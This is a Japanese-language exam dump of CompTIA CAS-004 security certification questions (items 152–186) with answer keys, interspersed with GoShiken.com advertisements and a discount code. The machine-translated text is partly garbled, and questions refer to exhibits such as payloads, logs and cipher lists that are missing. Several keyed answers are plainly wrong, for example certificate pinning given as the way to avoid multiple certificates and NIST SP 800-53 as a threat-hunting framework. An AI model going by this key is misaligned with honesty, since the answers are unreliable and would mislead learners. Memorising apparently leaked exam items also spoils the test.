題集溶と正解付きで 30%ｗ特別割引コード: Freepdfdumps)

最新問題: 152
米国に本拠を置く会社は、EU国民の保険詳細を保持しています。EU国民の個人データ、個人
データ、機密データを処理する際に遵守する必要があるのは次のうちどれですか?
A.個人データ消去要求の忘れられる権利の原則
B.否認不可および否認可能性の原則
C.合法的、公正かつ透明な処理の原則
D.暗号化、難読化、データマスキングの原理
Answer: C (メーッセージを残す)

最新問題: 153
セキュリティエンジニアは、従業員ユーザーのWebトラフィックを保護するために CASBを実
装する必要があります。重要な要件は、トラフィックの可視性を拡張するために、関連するイベン

トデータを既存のオンプレミスインフラストラクチャコンポーネントから収集し、CASBに
よって使用する必要があることです。ソリューションは、ネットワーク停止に対する夜間の回復

力を備えていなければなりません。次のアーキテクチャコンポーネントのうち、これらの要件を

最もよく満たすものはどれですか?
A. APIモード
B.リバースプロキシ
C. AWAF
D.ログ収集
Answer: (解答を表示する)

最新問題: 154
組織は、最新の評価中に特定されたリスクを修復または軽減する取り組みを優先しています。リ

スクの 1つについては、完全な修復は不可能でしたが、組織は影響の可能性を減らすために緩和
策を適用することに成功しました。

組織が次に実行すべきことは次のうちどれですか?
A.残留リスクを評価します。
B.衝撃の大きさを再計算します。
C.レジスタ内の次のリスクに移動します。
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D.組織の脅威モデルを更新します。
Answer: A (メーッセージを残す)

最新問題: 155
組織は災害復旧と業務継続を計画しています。

手順

次のシナリオと手順を確認してください。関連する各結果を影響を受けるホストと照合します。

シナリオ 3を適切なホストに関連付けた後、ホストをクリックして、その結果に対する適切な修
正アクションを選択します。

各結果は複数回使用される場合があります。

シミュレーションの初期状態に戻したい場合は、[すべてリセット]ボタンをクリックしてくださ
い。

Answer:
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最新問題: 156
セキュリティコンプライアンス要件では、機密データを扱う特定の環境は、必知事項の制限に

よって保護され、承認されたエンドポイントにのみ接続できる必要があると規定されています。

この要件には、環境外へのデータの流出を制御するために、環境内の DLPソリューションを使用
する必要があることも記載されています。

特権ユーザーが準拠を維持しながらワークステーションから環境をサポートできるようにするに

は、次のどれを実装する必要がありますか?
A.認可されたエンドポイントを制御する NAC
B.データを保存するサーバー上の FIM
C.スクリーンされたサブネット内のジャンプボックス
D.プライマリネットワークへの一般的な VPNソリューション
Answer: A (メーッセージを残す)
説明

ネットワークアクセスコントロール (NAC)は、組織のコンプライアンス要件を満たさない管理
対象エンドポイントに対するネットワークリソースの利用を制限することにより、ネットワーク

セキュリティを強化するために使用されます。

最新問題: 157
ある組織は、世界中の複数の遠隔地の顧客が使用するソーシャルメディアアプリケーションを開

発しました。この組織の本部と唯一のデータセンターはニューヨーク市にあります。

最高情報セキュリティ責任者は、ソーシャルメディアアプリケーションに関して次の要件が満た

されていることを確認したいと考えています。
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すべてのモバイルユーザーにとって低遅延でユーザーエクスペリエンスが向上します

SSLオフロードによるWebサーバーのパフォーマンスの向上
DoSおよび DDoS攻撃に対する保護
高可用性

すべての要件を確実に満たすために、組織は次のどれを実装する必要がありますか?
A.マネージド DDoS防止機能を備えたデュアルギガビット速度のインターネット接続
B.データセンター内のキャッシュサーバーファーム
C. SSLアクセラレーションを備えた負荷分散されたリバースプロキシサーバーのグループ
D.起点がデータセンターに設定されている CDN
Answer: C (メーッセージを残す)

最新問題: 158
米国に本拠を置く企業の不正調査に取り組んでいるフォレンジック専門家は、証拠としていくつ

かのディスクイメージを収集しました。

証拠が合法的に取得されたかどうかについて権威ある決定を下すのは次のうちどれですか?
A.警察
B.裁判所
C.上層部の経営陣
D.弁護士
Answer: (解答を表示する)

最新問題: 159
大手通信機器メーカーは、緊急対応者をサポートする新しい電話ネットワークのセキュリティ制

御の強度を評価する必要があります。企業がデータ機密性管理を評価するために使用する手法は

次のうちどれですか?
A.暗号解析
B.オンパス
C.盗聴
D. RFサイドローブスニッフィング
E.コード署名
Answer: C (メーッセージを残す)

最新問題: 160
シミュレーション

あなたは、会社の特権ネットワークからの Nmapスキャン出力を解釈する任務を負ったセキュリ
ティアナリストです。

同社の強化ガイドラインでは次のことが示されています。

デバイスごとに 1つのプライマリサーバーまたはサービスが必要です。
デフォルトのポートのみを使用する必要があります。

安全でないプロトコルは無効にする必要があります。
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手順

Nmapの出力を使用して、ネットワーク上のデバイスとその役割、および閉じるべき開いている
ポートを特定します。

Nmapによって検出されたデバイスごとに、次の情報を含むデバイスエントリをデバイス検出リ
ストに追加します。

デバイスのIPアドレス
デバイスのプライマリサーバーまたはサービス (各 IPは 1つのサービス/ポートのみに関連付け
られる必要があることに注意してください)
強化ガイドラインに基づいて無効にする必要があるプロトコル (強化ガイドラインに準拠するに
は、複数のポートを閉じる必要がある場合があることに注意してください)
シミュレーションの初期状態に戻したい場合は、[すべてリセット]ボタンをクリックしてくださ
い。





Answer:
10.1.45.65 SFTPサーバーの無効化 8080
10.1.45.66電子メールサーバー 415および 443を無効にする
10.1.45.67 Webサーバー無効化 21、80
10.1.45.68 UTMアプライアンスの無効化 21



最新問題: 161
お客様から、www.test.comのWebサイトに接続してサービスを利用できないと報告がありまし
た。顧客は、Webアプリケーションに次の公開された暗号スイートがあることに気づきました。

お客様が接続できない原因として最も可能性が高いのは次のうちどれですか?
A.公開キーは ECDSAを使用する必要があります。
B.デフォルトはポート 80です。
C.サーバー名は test.comである必要があります。
D.弱い暗号が使用されています。
Answer: D (メーッセージを残す)

最新問題: 162
内部リソースの制約のため、管理チームは主任セキュリティアーキテクトに対し、アプリケー

ションレベルの制御に対する責任の一部をクラウドプロバイダーに移すソリューションを推奨

するよう依頼しました。責任共有モデルでは、次のサービスレベルのどれがこの要件を満たしま

すか?
A. FaaS
B. laaS
C. SaaS
D. PaaS
Answer: D (メーッセージを残す)

最新問題: 163
エネルギー会社は、過去四半期に使用された天然ガスの平均圧力を報告する必要があります。PLC
は、必要なレポートを作成するヒストリアンサーバーにデータを送信します。

次のヒストリアンサーバーの場所のうち、企業が OTおよび IT環境で必要なレポートを取得で
きるのはどれですか?
A. OT環境と IT環境の間でスクリーンされたサブネットを使用します。
B. IT環境では、PLCが OT環境から IT環境にデータを送信できるようにします。
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C. OT環境では、IT環境から OT環境へ VPNを使用します。
D. OT環境では、OT環境への ITトラフィックを許可します。
Answer: (解答を表示する)

最新問題: 164
ある企業の製品サイトでは最近、API呼び出しが失敗し、その結果、顧客は製品をチェックアウト
して購入できなくなりました。この種の失敗は、顧客の喪失や市場での会社の評判の低下につな

がる可能性があります。

システムが利用不能になるリスクに対処するために、企業は次のどれを実装する必要があります

か?
A.冗長レポートシステム
B.ユーザーとエンティティの行動分析
C.自己修復システム
D.アプリケーションコントロール
Answer: D (メーッセージを残す)

最新問題: 165
医療画像会社のシステム管理者は、汎用ファイルサーバー上で保護された医療情報 (PHI)を発見
します。管理者は次のどの手順を実行する必要がありますか?
A.サーバーの MD5ハッシュを取得します。
B.法務部門に相談するまで、ネットワークからすべての PHIを削除します。
C.すべての PHIを独自の VLAN上に分離し、レイヤー 2で分離したままにします。
D.法的要件を決定するには、法務部門に相談してください。
Answer: C (メーッセージを残す)

最新問題: 166
セキュリティアナリストは、企業のクラウドログ内のネットワークトラフィックを調べている

ときに、次のことを観察しました。

セキュリティアナリストは次のどの手順を最初に実行する必要がありますか?
A.セキュリティグループを介して 10.0.50.6を分離します。
B. 10.0.50.6のWebログを調査して、これが通常のトラフィックであるかどうかを判断します。
C. EDR経由で 10.0.5.52にアクセスし、ネットワーク接続のあるプロセスを特定します。
D. 10.0.5.52を隔離し、ホストに対してマルウェアスキャンを実行します。
Answer: B (メーッセージを残す)
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有効な CAS-004問題集は GoShiken.com が提供された合格しやすい CAS-004試験問題集！
GoShiken.comが最新の CAS-004試験問題集を提供しています。GoShiken.com CAS-004試
験問題は最新で、解答が正確でございます。最新の GoShiken.com CAS-004問題集をゲットす
る人はこちら: https://www.goshiken.com/CompTIA/CAS-004-mondaishu.html (62030%OFF問

題集溶と正解付きで 30%ｗ特別割引コード: Freepdfdumps)

最新問題: 167
最近のデータ侵害により、ある企業がストレージ環境全体に顧客データを含む多数のファイルを

保持していることが明らかになりました。これらのファイルは従業員ごとに個別化されており、

顧客のさまざまな注文、問い合わせ、問題を追跡するために使用されます。ファイルは暗号化され

ていないため、誰でもアクセスできます。上級管理チームは、既存のプロセスを中断することな

く、これらの問題に対処したいと考えています。

セキュリティアーキテクトは次のうちどれを推奨しますか?
A.セキュリティベースラインに設定されていないシステムについてレポートする CMDB
B.データを統合し、プロセスとニーズに基づいてアクセスをプロビジョニングするための CRM
アプリケーション

C.どのプロセスを追跡する必要があるかを特定する ERPプログラム
D.顧客データが含まれるファイルを特定して削除する DLPプログラム
Answer: A (メーッセージを残す)

最新問題: 168
脅威ハンティングチームは、ネットワーク内で発生する可能性のある APTアクティビティに関
するレポートを受け取ります。

チームは次の脅威管理フレームワークのうちどれを実装する必要がありますか?
A. NIST SP 800-53
B.侵入分析のダイヤモンドモデル
C.マイターアタック&CK
D.サイバーキルチェーン
Answer: A (メーッセージを残す)

最新問題: 169
ある組織は最近、エンドポイントデバイス上の OSブートローダーに悪意のあるロジックを挿入
する攻撃者を特徴とする攻撃から回復しました。そのため、この組織は、OSコンポーネントの完
全なロードを通じて IJEFIから各コンポーネントを監視しながら、測定ブートと認証に TPMの使
用を要求することを決定しました。。次の TPM構造は、このストレージ機能を有効にしますか?
A.プラットフォーム構成レジスタ
B.クロック/カウンタ構造
C.推しチケット
D. MACスキームを使用したコマンドタグ構造
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Answer: A (メーッセージを残す)

最新問題: 170
昨年の攻撃パターンを振り返ると、攻撃者は侵害されやすいシステムを発見した後、偵察を中止

したことがわかります。同社は、貴重な攻撃情報を取得しながら、この情報を使用して環境を保護

する方法を見つけたいと考えています。

会社が導入するのに最適なのは次のうちどれですか?
A.ハニーポット
B. IDS
C. SIEM
D.WAF
Answer: (解答を表示する)

最新問題: 171
法医学対応でステガナリシス技術を使用する利点は次のうちどれですか?
A. DRMで保護されたメディアに対する独自の攻撃の頻度の特定
B.安全な音声通信で使用される対称暗号の解読
C.取得した証拠の保管過程の維持
D. .wavファイル内のデータの最下位ビットエンコーディングの識別
Answer: (解答を表示する)

最新問題: 172
企業の従業員は、海外旅行中に企業システムにアクセスすることを許可されていません。会社の

電子メールシステムは、地理的位置に基づいてログインをブロックするように構成されています

が、一部の従業員は、携帯電話が旅行中に電子メールを同期し続けていると報告しています。最も

可能性の高い説明は次のうちどれですか?
(2つ選択してください。)
A.無制限の電子メール管理者アカウント
B.モバイルデバイス上の VPN
C.時代遅れのエスカレーション攻撃
D.権限昇格攻撃
E. UDPプロトコルの主な用途
F.モバイルデバイスで GPSを無効にする
Answer: B,F (メーッセージを残す)

最新問題: 173
セキュリティエンジニアは、企業ネットワークからの安全でない接続をすべて閉じるように依頼

されました。エンジニアは、企業の UTMがユーザーに IMAPS経由の電子メールのダウンロード
を許可しない理由を理解しようとしています。エンジニアは理論を策定し、ファイアウォール ID
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58を作成してテストを開始します。ユーザーは代わりに IMAPを使用することで電子メールを正
しくダウンロードできるようになります。ネットワークは 3つの VLANで構成されます。

セキュリティエンジニアは UTMファイアウォールルールを調べて、次のことを発見しました。

IMAPSが企業ユーザーネットワーク上で適切に機能することを確認するには、セキュリティエ
ンジニアが行うべきことは次のうちどれですか?
A. UTM証明書が企業コンピュータにインポートされていることを確認してください。
B.企業コンピュータにメールサーバー証明書がインストールされていることを確認します。
C.電子メールサービスプロバイダーに連絡し、会社の IPがブロックされているかどうかを確認
します。

D. IMAPSファイアウォールルールを作成して、電子メールが確実に許可されるようにします。
Answer: (解答を表示する)

最新問題: 174
セキュリティエンジニアは、次の要件を満たすソリューションを推奨する必要があります。

プロバイダーのネットワーク内の機密データを特定する

会社および規制のガイドラインへのコンプライアンスを維持する

内部関係者の脅威、特権ユーザーの脅威、侵害されたアカウントを検出して対応します

暗号化、トークン化、アクセス制御などのデータ中心のセキュリティを強化する

これらの要件に対処するために、セキュリティエンジニアが推奨するソリューションは次のうち

どれですか?
A.WAF
B. CASB
C. DLP
D. SWG
Answer: B (メーッセージを残す)

最新問題: 175
脅威アナリストは HTTPログを調べているときに次の URLに気づきました。

脅威アナリストが認識している攻撃タイプは次のうちどれですか?
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A. CSRF
B.セッションハイジャック
C. SQLインジェクション
D. XSS
Answer: D (メーッセージを残す)

最新問題: 176
ある組織は最近、顧客のクレジットカード情報の処理、送信、保存を開始しました。

その後 1週間以内に、組織は大規模な侵害に見舞われ、顧客の情報が漏えいしました。
保存中および転送中の情報を保護するための最良のガイダンスは次のうちどれですか?
A. NIST
B. PCI DSS
C. GDPR
D. ISO
Answer: B (メーッセージを残す)

最新問題: 177
企業は顧客向けに複数の APIを公開しており、キーを使用して顧客データセットを分離する必要
があります。

顧客キーの保管に使用するのに最適なのは次のうちどれですか?
A.公開鍵インフラストラクチャ
B.ハードウェアセキュリティモジュール
C.ローカライズされたキーストア
D.信頼できるプラットフォームモジュール
Answer: B (メーッセージを残す)

最新問題: 178
災害復旧チームは、前回の災害復旧並行テスト中に発生したいくつかの間違いを知りました。重

要なサービスの復旧の 70%で計算リソースが枯渇しました。
問題の再発を防ぐために、次のどれを変更する必要がありますか?
A.目標復旧時点
B.リカバリサービスレベル
C.目標復旧時間
D.ミッション必須機能
Answer: B (メーッセージを残す)

最新問題: 179
新しいWebサーバーは、新しいセキュア・バイ・デザイン原則と PCI DSSに準拠する必要があり

ます。これには、経路上での攻撃のリスクを軽減することが含まれます。セキュリティアナリスト

が次のWebサーバー構成をレビューしています。
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ビジネス要件をサポートするには、セキュリティアナリストが削除する必要がある暗号は次のう

ちどれですか?
A. TLS_AES_128_GCM_SHA256
B. TLS_DHE_DSS_WITH_RC4_128_SHA
C. TLS_AES_128_CCM_8_SHA256
D. TLS_CHACHA20_POLY1305_SHA256
Answer: B (メーッセージを残す)

最新問題: 180
セキュリティアーキテクトは、高度に分散されたリモートワークフォースを抱える組織向けに

CASBソリューションを実装する必要があります。実装要件の 1つには、SaaSアプリケーション
を検出し、未承認またはリスクがあると特定されたアプリケーションへのアクセスをブロックす

る機能が含まれます。この目的を最もよく達成できるのは次のうちどれですか?
A.ローカルWebトラフィックを監視するエンドポイントエージェントを展開して、DLPおよび
暗号化ポリシーを適用します。

B.すべてのユーザーWebトラフィックをプロキシするクラウドインフラストラクチャを実装
し、DI-Pおよび暗号化ポリシーを適用します。
C.すべてのユーザーのWebトラフィックをプロキシし、集中ポリシーに従ってアクセスを制御
するクラウドインフラストラクチャを実装します。

D.ローカルWebトラフィックを監視し、一元化されたポリシーに従ってアクセスを制御するエ
ンドポイントエージェントを展開します。

Answer: C (メーッセージを残す)
説明

SaaSアプリケーションを検出し、未承認またはリスクがあると特定されたアプリケーションへ
のアクセスをブロックするという目的を達成するための最良の方法は、すべてのユーザーのWeb
トラフィックをプロキシし、一元化されたポリシーに従ってアクセスを制御するクラウドインフ

ラストラクチャを実装することです (C)。このソリューションにより、セキュリティアーキテクト
はすべてのWebトラフィックを検査し、アクセスコントロールポリシーを一元的に適用できる
ようになります。このソリューションにより、セキュリティアーキテクトは危険な SaaSアプリ
ケーションを検出してブロックすることもできます。
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最新問題: 181
世界的なパンデミックのため、企業の全スタッフがリモート勤務を始めました。リモートワーク

に移行するために、同社は SaaSコラボレーションツールに移行しました。人事部門はこれらの
ツールを使用して機密情報を処理したいと考えていますが、データが次のようなものになる可能

性があることを懸念しています。

文書の印刷を通じてメディアに漏洩

個人のメールアドレスに送信される

システム管理者によってアクセスおよび表示されます

ファイル保管サイトにアップロードされる

次のうち、部門の懸念を軽減できるものはどれですか?
A.プロキシ、セキュア VPN、エンドポイント暗号化、および AV
B. VDI、プロキシ、CASB、DRM
C.データ損失検出、リバースプロキシ、EDR、および PGP
D.ウォーターマーク、フォワードプロキシ、DLP、および MFA
Answer: B (メーッセージを残す)

有効な CAS-004問題集は GoShiken.com が提供された合格しやすい CAS-004試験問題集！
GoShiken.comが最新の CAS-004試験問題集を提供しています。GoShiken.com CAS-004試
験問題は最新で、解答が正確でございます。最新の GoShiken.com CAS-004問題集をゲットす
る人はこちら: https://www.goshiken.com/CompTIA/CAS-004-mondaishu.html (62030%OFF問

題集溶と正解付きで 30%ｗ特別割引コード: Freepdfdumps)

最新問題: 182
ある企業がSSL検査を導入しています。今後 6か月の間に、サブドメインで分離された複数の
Webアプリケーションがデプロイされます。
複数の証明書を展開せずにデータの検査を可能にするものは次のうちどれですか?
A.利用可能な暗号スイートをすべて含めます。
B.ワイルドカード証明書を作成します。
C.サードパーティ CAを使用します。
D.証明書の固定を実装します。
Answer: D (メーッセージを残す)

最新問題: 183
セキュリティアナリストは、同社のWAFが適切に構成されていないことを発見しました。メイ
ンWebサーバーが侵害され、悪意のあるリクエストの 1つで次のペイロードが見つかりました。

この脆弱性を軽減するのに最も適したものは次のうちどれですか?
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A.ネットワーク侵入防止
B.キャプチャ
C.入力チェック
D.データエンコーディング
Answer: (解答を表示する)

最新問題: 184
Webサーバーからの次のログスニペットがあるとします。

このタイプの攻撃を最も適切に説明しているのは次のうちどれですか?
A.クロスサイトリクエストフォージェリ
B.ブルートフォース
C. SQLインジェクション
D.クロスサイトスクリプティング
Answer: C (メーッセージを残す)

最新問題: 185
セキュリティインシデントの後、ネットワークセキュリティエンジニアは、会社の機密性の高い

外部トラフィックの一部が、通常は使用されないセカンダリ ISP経由でリダイレクトされている
ことを発見しました。

単一のプロバイダーに障害が発生した場合でもネットワークを機能させながら、ルートを保護す

るのに最も適したものは次のうちどれですか?
A.受信 BGPプレフィックスリストを実装します。
B. BGPルートリフレクタを実装します。
C. BGPを無効にし、内部ネットワークごとに単一の静的ルートを実装します。
D. BGPを無効にし、OSPFを実装します。
Answer: A (メーッセージを残す)

最新問題: 186
デジタル変革を進めている企業は、CSPの復元力を検討しており、CSPインシデントが発生した
場合に SLA要件を満たせるかどうかを懸念しています。
変革を進めるのに最適なのは次のうちどれですか?
A.バックアップとしてのオンプレミスソリューション
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B.ラウンドロビン構成のロードバランサ
C.マルチクラウドプロバイダーソリューション
D.同じテナント内のアクティブ/アクティブソリューション
Answer: C (メーッセージを残す)
説明

アクティブ/アクティブクラスターは、クラウドプロバイダーがダウンした場合には何も行いま
せん。マルチクラウドの主な機能の 1つは冗長性で
す。https://www.cloudflare.com/learning/cloud/what-is-multicloud/

Valid CAS-004 Dumps shared by GoShiken.com for Helping Passing CAS-004 Exam!
GoShiken.com now offer the newest CAS-004 exam dumps, the GoShiken.com CAS-004
exam questions have been updated and answers have been corrected get the newest
GoShiken.com CAS-004 dumps with Test Engine here:
https://www.goshiken.com/CompTIA/CAS-004-mondaishu.html (620 Q&As Dumps, 30%OFF

Special Discount: Freepdfdumps)
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